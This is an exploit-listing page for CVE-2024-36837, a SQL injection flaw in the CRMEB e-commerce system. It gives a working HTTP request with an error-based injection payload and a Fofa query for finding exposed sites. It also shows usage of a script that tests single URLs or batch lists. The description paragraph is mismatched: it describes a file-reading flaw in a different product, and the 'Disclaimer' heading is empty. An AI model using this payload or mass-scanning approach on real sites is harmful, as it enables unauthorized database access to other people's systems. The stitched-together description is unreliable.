Sploitus

Exploit for SQL Injection in Crmeb

CVE-2024-36837

githubexploit · 2024-09-28

Exploit Code

README30 lines
## https://sploitus.com/exploit?id=84B68B2D-9EBB-59FC-BFEE-6046ED5E06C1
### README.md  
#CVE-2024-36837  
## Disclaimer  

#Zhilianyuncai SRM2.0’s `runtimeLog/` and `/download/` interfaces have arbitrary file reading vulnerabilities. Unauthenticated attackers can exploit these vulnerabilities to read important system files, such as database configuration files and system configuration files, resulting in a highly insecure state of the website. Fofa syntax:  
`body="/wap/first/zsff/iconfont/iconfont.css"` || `body="CRMEB"`  

#POC:  
`GET /api/products?limit=20&priceOrder&salesOrder&selectId=GTID_SUBSET(CONCAT(0x7e,(SELECT+(ELT(3550=3550,MD5(9753165)))),0x7e),3550)) HTTP/1.1  
Host: x.x.x.x  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15  
Connection: close  
Accept: */*  
Accept-Language: en  
Accept-Encoding: gzip`  

#To add http:// or https:// before the URL:  
`python 11.py`  

#How to use:  
`python cve.py -h`  

#For batch detection, the URLs in `url.txt` must include http:// or https://:  
`python cve.py -f url.txt`  

#For individual detection, the URL must include http:// or https://:  
`python cve.py -u url`

[source-iocs-preserved url=http://或https://]